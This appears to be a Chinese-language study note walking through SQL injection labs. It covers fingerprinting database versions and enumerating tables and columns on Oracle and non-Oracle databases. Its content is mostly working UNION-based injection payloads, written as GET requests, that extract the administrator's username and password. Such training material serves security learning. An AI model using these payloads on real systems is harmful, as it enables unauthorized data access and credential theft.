為了利用 SQL 注入漏洞,通常需要尋找有關資料庫的資訊,像是數據庫類型與版本,以及資料表信息
取得數據庫類型
各數據庫查詢版本的方法:
Oracle | SELECT banner FROM v$version |
---|---|
Microsoft / MySQL | SELECT @@version |
PostgreSQL | SELECT version() |
舉例來說,如果發現有漏洞
可用以下sql測試數據庫是否為oracle以及其版本
GET /filter?category=Accessories'+UNION+SELECT+BANNER,+NULL+FROM+v$version-- HTTP/1.1
也可用以下sql測試數據庫是否為mysql或microsoft及其版本
GET /filter?category=Accessories'+UNION+SELECT+@@version,+NULL# HTTP/1.1
Lab:
SQL injection attack, querying the database type and version on Oracle
SQL injection attack, querying the database type and version on MySQL and Microsoft
取得資料表信息
non-oracle
包含像是Microsoft SQL Server,PostgreSQL,MySQL,常用語法如下
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
假設目標網站非Oracle,可用參考以下方式取得敏感信息
使用以下測試時發現category參數sqli漏洞
GET /filter?category=Accessories'-- HTTP/1.1
檢測有幾個欄位可顯示,以下結果確認2個不報錯
GET /filter?category=Accessories'+union+select+null,null-- HTTP/1.1
檢測那些欄位有數據,以下結果確認2個欄位都有
GET /filter?category=Accessories'+UNION+SELECT+'abc','def'-- HTTP/1.1
用以下語法找出所有table
GET /filter?category=Accessories'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- HTTP/1.1
返回內容發現users_icgasr,用以下語法找該表欄位
GET /filter?category=Accessories'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name=%27users_icgasr%27-- HTTP/1.1
返回內容發現username_usnobp和password_bdwaxs欄位,用以下語法找該欄位信息以取得帳戶密碼
GET /filter?category=Accessories'+UNION+SELECT+username_usnobp,password_bdwaxs+FROM+users_icgasr-- HTTP/1.1
返回內容可以找到administrator的密碼
Lab: SQL injection attack, listing the database contents on non-Oracle databases
oracle
常用語法如下
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
假設目標網站為Oracle,可用參考以下方式取得敏感信息
測試時發現category參數sqli漏洞後,檢測有幾個欄位可顯示,發現2個不報錯
GET /filter?category=Accessories'+union+select+null,null+FROM+dual-- HTTP/1.1
檢測哪些欄位有數據,發現2個欄位都有
GET /filter?category=Accessories'+UNION+SELECT+'abc','def'+FROM+dual-- HTTP/1.1
找出所有table
GET /filter?category=Accessories'+UNION+SELECT+table_name,NULL+FROM+all_tables-- HTTP/1.1
發現USERS_VNPRUT,找該表欄位
GET /filter?category=Accessories'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name=%27USERS_VNPRUT%27-- HTTP/1.1
發現USERNAME_HLFULL和PASSWORD_GWJJKC欄位,找該欄位信息以取得帳戶密碼
GET /filter?category=Accessories'+UNION+SELECT+USERNAME_HLFULL,PASSWORD_GWJJKC+FROM+USERS_VNPRUT-- HTTP/1.1
結果可以找到administrator的密碼
Lab: SQL injection attack, listing the database contents on Oracle